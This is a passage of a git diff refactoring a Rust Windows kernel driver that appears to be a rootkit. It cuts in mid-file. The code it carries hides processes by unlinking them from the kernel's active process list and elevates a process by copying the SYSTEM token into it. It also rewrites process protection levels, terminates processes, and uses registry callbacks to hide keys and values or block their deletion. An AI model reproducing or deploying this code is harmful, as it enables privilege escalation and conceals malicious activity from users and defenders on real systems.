from_raw_parts_mut(process_entries, count); + if entries_index < process_entries_slice.len() { + copy( + &process_entries_slice[entries_index], + &mut process_entries_slice[i], + count - entries_index, + ); + } + } + } +} + +/// Adds a port to the list of protected ports. +/// +/// # Arguments +/// +/// * `port` - A mutable pointer to a [`TargetPort`] structure. +/// +/// # Return +/// +/// If the port is successfully added to the list. +pub fn add_port(port: *mut TargetPort) -> NTSTATUS { + if port.is_null() { + return STATUS_UNSUCCESSFUL; + } + + let mut ports = PROTECTED_PORTS.lock(); + let port = unsafe { *port }; + + if ports.len() >= MAX_PORT { + return STATUS_UNSUCCESSFUL; + } + + if ports.contains(&port) { + return STATUS_DUPLICATE_OBJECTID; + } + + ports.push(port); + + STATUS_SUCCESS +} + +/// Removes a port from the list of protected ports. +/// +/// # Arguments +/// +/// * `port` - A mutable pointer to a [`TargetPort`] structure. +/// +/// # Return +/// +/// If the port is successfully removed from the list. +pub unsafe fn remove_port(port: *mut TargetPort) -> NTSTATUS { + if port.is_null() { + return STATUS_UNSUCCESSFUL; + } + + let mut ports = PROTECTED_PORTS.lock(); + (*port).enable = true; + + if let Some(index) = ports.iter().position(|&p| { + p.protocol == (*port).protocol + && p.port_type == (*port).port_type + && p.port_number == (*port).port_number + }) { + ports.remove(index); + STATUS_SUCCESS + } else { + println!("Port {:?} not found in the list", port); + STATUS_UNSUCCESSFUL + } +} diff --git a/shadowx/src/offsets.rs b/crates/shadow-core/src/offsets.rs similarity index 58% rename from shadowx/src/offsets.rs rename to crates/shadow-core/src/offsets.rs index 86b1832..11872c1 100644 --- a/shadowx/src/offsets.rs +++ b/crates/shadow-core/src/offsets.rs @@ -1,7 +1,6 @@ use spin::Lazy; -use wdk_sys::{RTL_OSVERSIONINFOW, ntddk::RtlGetVersion}; +use wdk_sys::{ntddk::RtlGetVersion, RTL_OSVERSIONINFOW}; -/// Constant values for Windows build numbers. const WIN_1507: u32 = 10240; const WIN_1511: u32 = 10586; const WIN_1607: u32 = 14393; @@ -16,27 +15,19 @@ const WIN_20H2: u32 = 19042; const WIN_21H1: u32 = 19043; const WIN_21H2: u32 = 19044; const WIN_22H2: u32 = 19045; - -/// Constant values for Windows build numbers (Not currently used) #[allow(dead_code)] const WIN_1121H2: u32 = 22000; #[allow(dead_code)] const WIN_1122H2: u32 = 22621; /// Holds the Windows build number initialized at runtime. -/// -/// This value is fetched using the `get_windows_build_number` function, -/// which utilizes the `RtlGetVersion` API from the Windows kernel. static BUILD_NUMBER: Lazy = Lazy::new(|| get_windows_build_number()); /// Retrieves the process lock offset based on the current Windows build number. /// -/// This function returns the offset for the process lock field in the `EPROCESS` structure -/// for the current version of Windows. -/// /// # Returns /// -/// * The offset (in bytes) to the process lock field. +/// The offset (in bytes) to the process lock field. #[inline] pub fn get_process_lock() -> isize { match *BUILD_NUMBER { @@ -51,12 +42,9 @@ pub fn get_process_lock() -> isize { /// Retrieves the active process link offset based on the current Windows build number. /// -/// This function returns the offset for the active process link in the `EPROCESS` structure, -/// which points to the list of processes in the active process chain. -/// /// # Returns /// -/// * The offset (in bytes) to the active process link. +/// The offset (in bytes) to the active process link. #[inline] pub fn get_active_process_link_offset() -> isize { match *BUILD_NUMBER { @@ -68,12 +56,9 @@ pub fn get_active_process_link_offset() -> isize { /// Retrieves the VAD root offset based on the current Windows build number. /// -/// This function returns the offset for the VAD (Virtual Address Descriptor) root -/// in the `EPROCESS` structure for different Windows versions. -/// /// # Returns /// -/// * The offset (in bytes) to the VAD root field. +/// The offset (in bytes) to the VAD root field. #[inline] pub fn get_vad_root() -> u32 { match *BUILD_NUMBER { @@ -88,13 +73,9 @@ pub fn get_vad_root() -> u32 { /// Retrieves the token offset based on the current Windows build number. /// -/// This function returns the offset for the token field in the `EPROCESS` structure, -/// which points to the access token that represents the security context of a process. -/// The token contains privileges, group memberships, and other security-related information. -/// /// # Returns /// -/// * The offset (in bytes) to the token field in the `EPROCESS` structure. +/// The offset (in bytes) to the token field in the `EPROCESS` structure. #[inline] pub fn get_token_offset() -> isize { match *BUILD_NUMBER { @@ -106,13 +87,9 @@ pub fn get_token_offset() -> isize { /// Retrieves the protection signature offset based on the current Windows build number. /// -/// This function returns the offset for the protection signature field in the `EPROCESS` structure. -/// This field defines the protection type and the signer of the protection for the process, -/// allowing certain processes to be protected from termination or modification. -/// /// # Returns /// -/// * The offset (in bytes) to the protection signature field in the `EPROCESS` structure. +/// The offset (in bytes) to the protection signature field in the `EPROCESS` structure. #[inline] pub fn get_signature_offset() -> isize { match *BUILD_NUMBER { @@ -127,13 +104,9 @@ pub fn get_signature_offset() -> isize { /// Retrieves the thread list entry offset based on the current Windows build number. /// -/// This function returns the offset for the thread list entry in the `EPROCESS` structure. -/// The thread list entry links all the threads belonging to a process, allowing the system -/// to traverse the list of threads for each process. -/// /// # Returns /// -/// * The offset (in bytes) to the thread list entry in the `EPROCESS` structure. +/// The offset (in bytes) to the thread list entry in the `EPROCESS` structure. #[inline] pub fn get_thread_lock_offset() -> isize { match *BUILD_NUMBER { @@ -150,13 +123,9 @@ pub fn get_thread_lock_offset() -> isize { /// Retrieves the thread lock offset based on the current Windows build number. /// -/// This function returns the offset for the thread lock field in the `EPROCESS` structure. -/// The thread lock is used to synchronize access to the list of threads within a process, -/// ensuring thread-safe operations when managing process threads. -/// /// # Returns /// -/// * The offset (in bytes) to the thread lock field in the `EPROCESS` structure. +/// The offset (in bytes) to the thread lock field in the `EPROCESS` structure. #[inline] pub fn get_thread_list_entry_offset() -> isize { match *BUILD_NUMBER { @@ -171,12 +140,9 @@ pub fn get_thread_list_entry_offset() -> isize { /// Retrieves the Windows build number using the `RtlGetVersion` API. /// -/// This function calls the `RtlGetVersion` kernel API to retrieve information about the OS version, -/// including the build number. It is used to determine which Windows version the code is running on. -/// /// # Returns /// -/// * The Windows build number or `0` if the call to `RtlGetVersion` fails. +/// The Windows build number or `0` if the call to `RtlGetVersion` fails. #[inline] pub fn get_windows_build_number() -> u32 { unsafe { diff --git a/shadowx/src/process.rs b/crates/shadow-core/src/process.rs similarity index 69% rename from shadowx/src/process.rs rename to crates/shadow-core/src/process.rs index cfa85b7..529215c 100644 --- a/shadowx/src/process.rs +++ b/crates/shadow-core/src/process.rs @@ -1,55 +1,43 @@ use alloc::vec::Vec; -use log::{info, error}; -use spin::{Lazy, Mutex}; -use wdk_sys::*; -use wdk_sys::ntddk::{ - ObfDereferenceObject, - PsLookupProcessByProcessId, - ZwClose, ZwOpenProcess, - ZwTerminateProcess, -}; - use common::structs::TargetProcess; -use crate::{PROCESS_SIGNATURE, Result}; -use crate::error::ShadowError; +use log::{error, info}; +use spin::{Lazy, Mutex}; +use wdk_sys::ntddk::{ + ObfDereferenceObject, PsLookupProcessByProcessId, ZwClose, ZwOpenProcess, ZwTerminateProcess, +}; +use wdk_sys::*; + +use crate::error::{ShadowError, ShadowResult}; use crate::lock::with_push_lock_exclusive; use crate::offsets::{ - get_active_process_link_offset, - get_process_lock, - get_signature_offset, - get_token_offset, + get_active_process_link_offset, get_process_lock, get_signature_offset, get_token_offset, }; +use crate::PROCESS_SIGNATURE; // Max Number PIDs const MAX_PID: usize = 100; +// System process (By default the PID is 4) +const SYSTEM_PROCESS: usize = 4; + +/// List of target processes protected by a mutex. +pub static PROCESS_INFO_HIDE: Lazy>> = + Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_PID))); + /// Represents a process in the operating system. -/// -/// The `Process` struct provides a safe abstraction over the `EPROCESS` structure used -/// in Windows kernel development. It allows for looking up a process by its PID and ensures -/// proper cleanup of resources when the structure goes out of scope. pub struct Process { /// Pointer to the EPROCESS structure, used for managing process information. pub e_process: PEPROCESS, } impl Process { - /// Creates a new `Process` instance by looking up a process by its PID. - /// - /// This method attempts to find a process using its process identifier (PID). If the process - /// is found, it returns an instance of the `Process` structure containing a pointer to the - /// `EPROCESS` structure. + /// Creates a new `Process`. /// /// # Arguments /// /// * `pid` - The process identifier (PID) of the process to be looked up. /// - /// # Returns - /// - /// * `Ok(Self)` - Returns a `Process` instance if the process lookup is successful. - /// * `Err(ShadowError)` - Returns an error message if the lookup fails. - /// /// # Examples /// /// ```rust,ignore @@ -60,40 +48,20 @@ impl Process { /// } /// ``` #[inline] - pub fn new(pid: usize) -> Result { + pub fn new(pid: usize) -> ShadowResult { let mut e_process = core::ptr::null_mut(); let status = unsafe { PsLookupProcessByProcessId(pid as _, &mut e_process) }; if NT_SUCCESS(status) { Ok(Self { e_process }) } else { - Err(ShadowError::ApiCallFailed("PsLookupProcessByProcessId", status)) + Err(ShadowError::ApiCallFailed( + "PsLookupProcessByProcessId", + status, + )) } } -} -/// Implements the `Drop` trait for the `Process` structure to handle cleanup when the structure goes out of scope. -/// -/// The `Drop` implementation ensures that the reference count on the `EPROCESS` structure -/// is properly decremented when the `Process` instance is dropped. This prevents resource leaks. -impl Drop for Process { - /// Cleans up the resources held by the `Process` structure. - /// - /// This method decrements the reference count of the `EPROCESS` structure when the - /// `Process` instance is dropped, ensuring proper cleanup. - fn drop(&mut self) { - if !self.e_process.is_null() { - unsafe { ObfDereferenceObject(self.e_process.cast()) }; - } - } -} - -/// List of target processes protected by a mutex. -pub static PROCESS_INFO_HIDE: Lazy>> = - Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_PID))); - -/// This implementation focuses on the hiding and unhiding of processes. -impl Process { /// Hides a process by removing it from the active process list in the operating system. /// /// # Arguments @@ -102,10 +70,9 @@ impl Process { /// /// # Returns /// - /// * `Ok(LIST_ENTRY)` - Returns the previous `LIST_ENTRY` containing the pointers to the neighboring processes - /// in the list before it was modified. - /// * `Err(ShadowError)` - Returns an error if the process lookup fails or the operation encounters an issue. - pub unsafe fn hide_process(pid: usize) -> Result { + /// The previous `LIST_ENTRY` containing the pointers to the neighboring processes + /// in the list before it was modified. + pub unsafe fn hide_process(pid: usize) -> ShadowResult { // Log the start of the process hiding routine. info!("Attempting to hide process with PID: {}", pid); @@ -115,7 +82,10 @@ impl Process { // Retrieve the EPROCESS structure for the target process let process = Self::new(pid)?; - info!("Found EPROCESS for PID {} at address: {:p}", pid, process.e_process); + info!( + "Found EPROCESS for PID {} at address: {:p}", + pid, process.e_process + ); // Retrieve the `LIST_ENTRY` for the active process link. let current = process.e_process.cast::().offset(active_process_link) as PLIST_ENTRY; @@ -134,12 +104,21 @@ impl Process { // The previous process in the chain let previous = (*current).Blink; - info!("Before unlink: current->Flink = {:p}, current->Blink = {:p}", (*current).Flink, (*current).Blink); - info!("Neighboring entries: next = {:p}, previous = {:p}", next, previous); + info!( + "Before unlink: current->Flink = {:p}, current->Blink = {:p}", + (*current).Flink, + (*current).Blink + ); + info!( + "Neighboring entries: next = {:p}, previous = {:p}", + next, previous + ); // Check if the neighboring pointers are valid before proceeding if next.is_null() || previous.is_null() { - error!("One or both of the neighboring pointers are null. Aborting unlink operation."); + error!( + "One or both of the neighboring pointers are null. Aborting unlink operation." + ); return Err(ShadowError::InvalidListEntry); } @@ -160,7 +139,11 @@ impl Process { info!("Process LIST_ENTRY modified to point to itself"); // Log final state of the current entry - info!("Final state of current LIST_ENTRY: Flink = {:p}, Blink = {:p}", (*current).Flink, (*current).Blink); + info!( + "Final state of current LIST_ENTRY: Flink = {:p}, Blink = {:p}", + (*current).Flink, + (*current).Blink + ); Ok(previous_link) }) } @@ -175,9 +158,8 @@ impl Process { /// /// # Returns /// - /// * `Ok(NTSTATUS)` - Indicates the process was successfully restored to the active list. - /// * `Err(ShadowError)` - Returns an error if the process lookup fails or the operation encounters an issue. - pub unsafe fn unhide_process(pid: usize, list_entry: PLIST_ENTRY) -> Result { + /// Indicates the process was successfully restored to the active list. + pub unsafe fn unhide_process(pid: usize, list_entry: PLIST_ENTRY) -> ShadowResult { // Getting offsets based on the Windows build number let active_process_link = get_active_process_link_offset(); let offset_lock = get_process_lock(); @@ -209,12 +191,9 @@ impl Process { /// Enumerates all currently hidden processes. /// - /// This function iterates through the list of hidden processes stored in `PROCESS_INFO_HIDE` and returns - /// a vector containing their information. - /// /// # Returns /// - /// * A vector containing the information of all hidden processes. + /// A vector containing the information of all hidden processes. pub unsafe fn enumerate_hide_processes() -> Vec { let mut processes: Vec = Vec::new(); let process_info = PROCESS_INFO_HIDE.lock(); @@ -227,12 +206,6 @@ impl Process { processes } -} - -/// This implementation focuses on finishing the process, changing the PPL and elevating the process. -impl Process { - // System process (By default the PID is 4) - const SYSTEM_PROCESS: usize = 4; /// Elevates a process by setting its token to the system process token. /// @@ -242,9 +215,8 @@ impl Process { /// /// # Returns /// - /// * `Ok(NTSTATUS)` - Indicates that the token was successfully elevated. - /// * `Err(ShadowError)` - Returns an error if the process lookup fails or the operation encounters an issue. - pub unsafe fn elevate_process(pid: usize) -> Result { + /// Indicates that the token was successfully elevated. + pub unsafe fn elevate_process(pid: usize) -> ShadowResult { // Get the offset for the token in the EPROCESS structure let offset = get_token_offset(); @@ -252,7 +224,7 @@ impl Process { let target = Self::new(pid)?; // Retrieve the EPROCESS for the system process (PID 4) - let system = Self::new(Self::SYSTEM_PROCESS)?; + let system = Self::new(SYSTEM_PROCESS)?; // Access the Token field in the EPROCESS structure of both the target and system processes let target_token_ptr = target.e_process.cast::().offset(offset) as *mut u64; @@ -273,9 +245,8 @@ impl Process { /// /// # Returns /// - /// * `Ok(NTSTATUS)` - Returns if the signature and protection levels were successfully updated. - /// * `Err(ShadowError)` - Returns an error if the process lookup fails or the operation encounters an issue. - pub unsafe fn protection_signature(pid: usize, sg: usize, tp: usize) -> Result { + /// If the signature and protection levels were successfully updated. + pub unsafe fn protection_signature(pid: usize, sg: usize, tp: usize) -> ShadowResult { // Get the offset for the protection signature within the EPROCESS structure let offset = get_signature_offset(); @@ -291,7 +262,7 @@ impl Process { (*process_signature).SignatureLevel = new_sign as u8; (*process_signature).Protection.SetType(tp as u8); (*process_signature).Protection.SetSigner(sg as u8); - + Ok(STATUS_SUCCESS) } @@ -303,9 +274,8 @@ impl Process { /// /// # Returns /// - /// * `Ok(NTSTATUS)` - Returns if the process was successfully terminated. - /// * `Err(ShadowError)` - Returns an error if any step (opening, terminating, or closing the process) fails. - pub unsafe fn terminate_process(pid: usize) -> Result { + /// If the process was successfully terminated. + pub unsafe fn terminate_process(pid: usize) -> ShadowResult { let mut h_process: HANDLE = core::ptr::null_mut(); let mut object_attributes: OBJECT_ATTRIBUTES = core::mem::zeroed(); let mut client_id = CLIENT_ID { @@ -340,3 +310,11 @@ impl Process { Ok(STATUS_SUCCESS) } } + +impl Drop for Process { + fn drop(&mut self) { + if !self.e_process.is_null() { + unsafe { ObfDereferenceObject(self.e_process.cast()) }; + } + } +} diff --git a/shadowx/src/registry/callback.rs b/crates/shadow-core/src/registry/callback.rs similarity index 89% rename from shadowx/src/registry/callback.rs rename to crates/shadow-core/src/registry/callback.rs index ae85dd9..05d9eb9 100644 --- a/shadowx/src/registry/callback.rs +++ b/crates/shadow-core/src/registry/callback.rs @@ -4,23 +4,18 @@ use alloc::{format, string::String}; use core::{ffi::c_void, ptr::null_mut}; use wdk::println; -use wdk_sys::_REG_NOTIFY_CLASS::*; use wdk_sys::ntddk::*; +use wdk_sys::_REG_NOTIFY_CLASS::*; use wdk_sys::{_MODE::KernelMode, *}; -use crate::utils::{pool::PoolMemory, valid_kernel_memory}; -use crate::registry::{ - Registry, - utils::{check_key, enumerate_key}, -}; -use super::{ - HIDE_KEY_VALUES, HIDE_KEYS, - PROTECTION_KEY_VALUES, PROTECTION_KEYS -}; -use super::utils::{ - RegistryInfo, - check_key_value, - enumerate_value_key +use super::utils::{check_key_value, enumerate_value_key, RegistryInfo}; +use super::*; +use crate::{ + registry::{ + utils::{check_key, enumerate_key}, + Registry, + }, + utils::{pool::PoolMemory, valid_kernel_memory}, }; /// Handle for Registry Callback. @@ -30,13 +25,13 @@ pub static mut CALLBACK_REGISTRY: LARGE_INTEGER = unsafe { core::mem::zeroed() } /// /// # Arguments /// -/// * `_callback_context` - A pointer to the callback context, usually not used. +/// * `_callback_context` - A pointer to the callback context. /// * `argument1` - A pointer to the notification class. /// * `argument2` - A pointer to the information related to the registry operation. /// /// # Returns /// -/// * A status code indicating the result of the operation. +/// A status code indicating the result of the operation. pub unsafe extern "C" fn registry_callback( _callback_context: *mut c_void, argument1: *mut c_void, @@ -78,7 +73,7 @@ pub unsafe extern "C" fn registry_callback( /// /// # Returns /// -/// * A status code indicating success or failure. +/// A status code indicating success or failure. unsafe fn pre_delete_key(info: *mut REG_DELETE_KEY_INFORMATION) -> NTSTATUS { let status; if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) { @@ -107,7 +102,7 @@ unsafe fn pre_delete_key(info: *mut REG_DELETE_KEY_INFORMATION) -> NTSTATUS { /// /// # Returns /// -/// * Returns the status of the operation. If the key value is found and handled correctly, returns `STATUS_SUCCESS`. +/// The status of the operation. If the key value is found and handled correctly, returns `STATUS_SUCCESS`. unsafe fn post_enumerate_key_value(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTATUS { if !NT_SUCCESS((*info).Status) { return (*info).Status; @@ -165,7 +160,8 @@ unsafe fn post_enumerate_key_value(info: *mut REG_POST_OPERATION_INFORMATION) -> &mut result_length, ) { if !Registry::check_target(key.clone(), value_name.clone(), HIDE_KEY_VALUES.lock()) { - if let Some(pre_info_key_info) = (pre_info.KeyValueInformation as *mut c_void).as_mut() { + if let Some(pre_info_key_info) = (pre_info.KeyValueInformation as *mut c_void).as_mut() + { *(*pre_info).ResultLength = result_length; core::ptr::copy_nonoverlapping( buffer, @@ -195,7 +191,7 @@ unsafe fn post_enumerate_key_value(info: *mut REG_POST_OPERATION_INFORMATION) -> /// /// # Returns /// -/// * Returns the status of the operation, keeping the original status if the previous operation failed. +/// The status of the operation, keeping the original status if the previous operation failed. unsafe fn post_enumerate_key(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTATUS { if !NT_SUCCESS((*info).Status) { return (*info).Status; @@ -281,7 +277,7 @@ unsafe fn post_enumerate_key(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTA /// /// # Returns /// -/// * A status code indicating success or failure. +/// A status code indicating success or failure. unsafe fn pre_query_key(info: *mut REG_QUERY_KEY_INFORMATION) -> NTSTATUS { let status; if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) { @@ -310,7 +306,7 @@ unsafe fn pre_query_key(info: *mut REG_QUERY_KEY_INFORMATION) -> NTSTATUS { /// /// # Returns /// -/// * A status code indicating success or failure. +/// A status code indicating success or failure. unsafe fn pre_delete_value_key(info: *mut REG_DELETE_VALUE_KEY_INFORMATION) -> NTSTATUS { if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) { return STATUS_SUCCESS; @@ -330,7 +326,8 @@ unsafe fn pre_delete_value_key(info: *mut REG_DELETE_VALUE_KEY_INFORMATION) -> N return STATUS_SUCCESS; } - let buffer = core::slice::from_raw_parts((*value_name).Buffer, ((*value_name).Length / 2) as usize); + let buffer = + core::slice::from_raw_parts((*value_name).Buffer, ((*value_name).Length / 2) as usize); let name = String::from_utf16_lossy(buffer); if Registry::<(String, String)>::check_target( key.clone(), @@ -351,7 +348,7 @@ unsafe fn pre_delete_value_key(info: *mut REG_DELETE_VALUE_KEY_INFORMATION) -> N /// /// # Returns /// -/// * A status code indicating success or failure. +/// A status code indicating success or failure. unsafe fn pre_set_value_key(info: *mut REG_SET_VALUE_KEY_INFORMATION) -> NTSTATUS { if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) { return STATUS_SUCCESS; @@ -371,7 +368,8 @@ unsafe fn pre_set_value_key(info: *mut REG_SET_VALUE_KEY_INFORMATION) -> NTSTATU return STATUS_SUCCESS; } - let buffer = core::slice::from_raw_parts((*value_name).Buffer, ((*value_name).Length / 2) as usize); + let buffer = + core::slice::from_raw_parts((*value_name).Buffer, ((*value_name).Length / 2) as usize); let name = String::from_utf16_lossy(buffer); if Registry::check_target(key.clone(), name.clone(), PROTECTION_KEY_VALUES.lock()) { STATUS_ACCESS_DENIED @@ -388,8 +386,7 @@ unsafe fn pre_set_value_key(info: *mut REG_SET_VALUE_KEY_INFORMATION) -> NTSTATU /// /// # Returns /// -/// * `Ok(String)` - The key name. -/// * `Err(NTSTATUS)` - error status. +/// The key name. unsafe fn read_key(info: *mut T) -> Result { let mut reg_path = core::ptr::null::(); let status = CmCallbackGetKeyObjectIDEx( diff --git a/shadowx/src/registry/mod.rs b/crates/shadow-core/src/registry/mod.rs similarity index 83% rename from shadowx/src/registry/mod.rs rename to crates/shadow-core/src/registry/mod.rs index 358aed7..8f36a8c 100644 --- a/shadowx/src/registry/mod.rs +++ b/crates/shadow-core/src/registry/mod.rs @@ -2,7 +2,7 @@ use alloc::{ string::{String, ToString}, vec::Vec, }; -use spin::{Mutex, MutexGuard, lazy::Lazy}; +use spin::{lazy::Lazy, Mutex, MutexGuard}; use wdk_sys::{NTSTATUS, STATUS_DUPLICATE_OBJECTID, STATUS_SUCCESS, STATUS_UNSUCCESSFUL}; use common::structs::TargetRegistry; @@ -19,33 +19,22 @@ pub use utils::*; const MAX_REGISTRY: usize = 100; /// List of protection key-value pairs. -/// -/// This list stores key-value pairs that are protected. -/// It is guarded by a mutex to ensure thread-safe access. pub static PROTECTION_KEY_VALUES: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_REGISTRY))); /// List of protection keys. -/// -/// This list stores keys that are protected. It is guarded by a mutex to ensure thread-safe access. static PROTECTION_KEYS: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_REGISTRY))); /// List of hidden keys. -/// -/// This list stores keys that have been hidden. It is protected by a mutex for thread-safe operations. static HIDE_KEYS: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_REGISTRY))); /// List of hidden key-value pairs. -/// -/// This list stores key-value pairs that have been hidden. It is protected by a mutex for thread-safe operations. static HIDE_KEY_VALUES: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_REGISTRY))); /// Trait defining common operations for registry lists. -/// -/// This trait provides methods for adding, removing, and checking items in registry lists. trait RegistryList { /// Adds an item to the registry list. /// @@ -56,7 +45,7 @@ trait RegistryList { /// /// # Returns /// - /// * Status code indicating success (`STATUS_SUCCESS`), duplicate (`STATUS_DUPLICATE_OBJECTID`), + /// Status code indicating success (`STATUS_SUCCESS`), duplicate (`STATUS_DUPLICATE_OBJECTID`), /// or failure (`STATUS_UNSUCCESSFUL`). fn add_item(list: &mut Vec, item: T) -> NTSTATUS; @@ -69,7 +58,7 @@ trait RegistryList { /// /// # Returns /// - /// * Status code indicating success (`STATUS_SUCCESS`) or failure (`STATUS_UNSUCCESSFUL`). + /// Status code indicating success (`STATUS_SUCCESS`) or failure (`STATUS_UNSUCCESSFUL`). fn remove_item(list: &mut Vec, item: &T) -> NTSTATUS; /// Checks if an item is in the registry list. @@ -81,7 +70,7 @@ trait RegistryList { /// /// # Returns /// - /// * Returns `true` if the item is in the list, `false` otherwise. + /// If the item is in the list. fn contains_item(list: &Vec, item: &T) -> bool; } @@ -144,9 +133,6 @@ impl RegistryList for Vec { } /// Structure representing registry operations. -/// -/// The `Registry` structure handles operations for adding, removing, and checking keys or key-value pairs -/// in the registry. pub struct Registry { _marker: PhantomData, } @@ -161,7 +147,7 @@ impl Registry<(String, String)> { /// /// # Returns /// - /// * Status code indicating success (`STATUS_SUCCESS`) or failure (`STATUS_UNSUCCESSFUL`). + /// Status code indicating success (`STATUS_SUCCESS`) or failure (`STATUS_UNSUCCESSFUL`). pub fn modify_key_value(target: *mut TargetRegistry, type_: Type) -> NTSTATUS { let key = unsafe { (*target).key.clone() }; let value = unsafe { (*target).value.clone() }; @@ -199,7 +185,7 @@ impl Registry<(String, String)> { /// /// # Returns /// - /// * Returns `true` if the key-value pair exists in the list, or `false` otherwise. + /// If the key-value pair exists in the list, pub fn check_target( key: String, value: String, @@ -219,7 +205,7 @@ impl Registry { /// /// # Returns /// - /// * Status code indicating success (`STATUS_SUCCESS`) or failure (`STATUS_UNSUCCESSFUL`). + /// Status code indicating success (`STATUS_SUCCESS`) or failure (`STATUS_UNSUCCESSFUL`). pub fn modify_key(target: *mut TargetRegistry, list_type: Type) -> NTSTATUS { let key = unsafe { &(*target).key }.to_string(); let enable = unsafe { (*target).enable }; @@ -255,7 +241,7 @@ impl Registry { /// /// # Returns /// - /// * Returns `true` if the key exists in the list, or `false` otherwise. + /// If the key exists in the list pub fn check_key(key: String, list: MutexGuard>) -> bool { Vec::contains_item(&list, &key) } diff --git a/shadowx/src/registry/utils.rs b/crates/shadow-core/src/registry/utils.rs similarity index 87% rename from shadowx/src/registry/utils.rs rename to crates/shadow-core/src/registry/utils.rs index d2ac355..709476e 100644 --- a/shadowx/src/registry/utils.rs +++ b/crates/shadow-core/src/registry/utils.rs @@ -4,21 +4,18 @@ use core::{ffi::c_void, mem::size_of, slice::from_raw_parts}; use wdk::println; use wdk_sys::*; use wdk_sys::{ + ntddk::{ZwEnumerateKey, ZwEnumerateValueKey}, _KEY_INFORMATION_CLASS::{KeyBasicInformation, KeyNameInformation}, _KEY_VALUE_INFORMATION_CLASS::{ KeyValueBasicInformation, KeyValueFullInformation, KeyValueFullInformationAlign64, }, - ntddk::{ZwEnumerateKey, ZwEnumerateValueKey}, }; -use super::{HIDE_KEY_VALUES, HIDE_KEYS, Registry}; +use super::{Registry, HIDE_KEYS, HIDE_KEY_VALUES}; use alloc::{format, string::String}; /// Checks if a specified registry key is present in the list of hidden keys. /// -/// This function checks if the provided registry key exists among the list of hidden keys, using -/// the information from the registry operation. -/// /// # Arguments /// /// * `info` - Pointer to the operation information structure containing registry details. @@ -26,7 +23,7 @@ use alloc::{format, string::String}; /// /// # Returns /// -/// * Returns `true` if the key is found in the hidden keys list, otherwise returns `false`. +/// If the key is found in the hidden keys list pub unsafe fn check_key(info: *mut REG_POST_OPERATION_INFORMATION, key: String) -> bool { // Extracting pre-information from the registry operation let info_class = (*info).PreInformation as *mut REG_ENUMERATE_KEY_INFORMATION; @@ -68,9 +65,6 @@ pub unsafe fn check_key(info: *mut REG_POST_OPERATION_INFORMATION, key: String) /// Checks if a specified registry key-value pair is present in the list of hidden key-values. /// -/// This function checks if the provided registry key-value pair exists among the list of hidden key-values, -/// using information from the registry value operation. -/// /// # Arguments /// /// * `info` - Pointer to the operation information structure containing registry value details. @@ -78,7 +72,7 @@ pub unsafe fn check_key(info: *mut REG_POST_OPERATION_INFORMATION, key: String) /// /// # Returns /// -/// * Returns `true` if the key-value pair is found in the hidden key-values list, otherwise returns `false`. +/// If the key-value pair is found in the hidden key-values list, pub unsafe fn check_key_value(info: *mut REG_POST_OPERATION_INFORMATION, key: String) -> bool { // Extracting pre-information from the registry operation let info_class = (*info).PreInformation as *const REG_ENUMERATE_VALUE_KEY_INFORMATION; @@ -118,9 +112,6 @@ pub unsafe fn check_key_value(info: *mut REG_POST_OPERATION_INFORMATION, key: St /// Enumerates the specified registry key and retrieves its name. /// -/// This function enumerates the registry key based on the provided index and information class, -/// returning the key name in the desired format. -/// /// # Arguments /// /// * `key_handle` - Handle of the target registry key. @@ -132,8 +123,7 @@ pub unsafe fn check_key_value(info: *mut REG_POST_OPERATION_INFORMATION, key: St /// /// # Returns /// -/// * Returns `Some(String)` containing the name of the registry key if successful, -/// otherwise returns `None`. +/// Containing the name of the registry key if successful, pub unsafe fn enumerate_key( key_handle: HANDLE, index: u32, @@ -189,9 +179,6 @@ pub unsafe fn enumerate_key( /// Enumerates the values of the specified registry key. /// -/// This function enumerates the values of the registry key based on the provided index and information class, -/// returning the value name in the desired format. -/// /// # Arguments /// /// * `key_handle` - Handle of the target registry key. @@ -203,8 +190,7 @@ pub unsafe fn enumerate_key( /// /// # Returns /// -/// * Returns `Some(String)` containing the name of the registry key value if successful, -/// otherwise returns `None`. +/// Containing the name of the registry key value if successful. pub unsafe fn enumerate_value_key( key_handle: HANDLE, index: u32, @@ -250,14 +236,12 @@ pub unsafe fn enumerate_value_key( } /// Trait for accessing the object in registry information. -/// -/// This trait defines a method to retrieve a pointer to the registry object from different registry information structures. pub trait RegistryInfo { /// Retrieves a pointer to the registry object. /// /// # Returns /// - /// * A raw pointer to the registry object. + /// A raw pointer to the registry object. fn get_object(&self) -> *mut c_void; } @@ -295,6 +279,7 @@ impl RegistryInfo for REG_POST_OPERATION_INFORMATION { pub enum Type { /// Hides the specified key or key-value. Hide, + /// Protects the specified key or key-value from being modified. Protect, } diff --git a/shadowx/src/thread.rs b/crates/shadow-core/src/thread.rs similarity index 71% rename from shadowx/src/thread.rs rename to crates/shadow-core/src/thread.rs index bd67280..c18341b 100644 --- a/shadowx/src/thread.rs +++ b/crates/shadow-core/src/thread.rs @@ -1,16 +1,12 @@ use alloc::vec::Vec; +use common::structs::TargetThread; use spin::{lazy::Lazy, mutex::Mutex}; use wdk_sys::{ntddk::*, *}; -use common::structs::TargetThread; use crate::{ - Result, - error::ShadowError, + error::{ShadowError, ShadowResult}, lock::with_push_lock_exclusive, - offsets::{ - get_thread_list_entry_offset, - get_thread_lock_offset - }, + offsets::{get_thread_list_entry_offset, get_thread_lock_offset}, }; // Max Number TIDS @@ -21,27 +17,18 @@ pub static THREAD_INFO_HIDE: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_TID))); /// Represents a thread in the operating system. -/// -/// The `Thread` struct provides a safe abstraction over the `ETHREAD` structure used -/// in Windows kernel development. It allows for looking up a thread by its TID and ensures -/// proper cleanup of resources when the structure goes out of scope. pub struct Thread { /// Pointer to the ETHREAD structure, used for managing thread information. pub e_thread: PETHREAD, } impl Thread { - /// Creates a new `Thread` instance by looking up a thread by its TID. 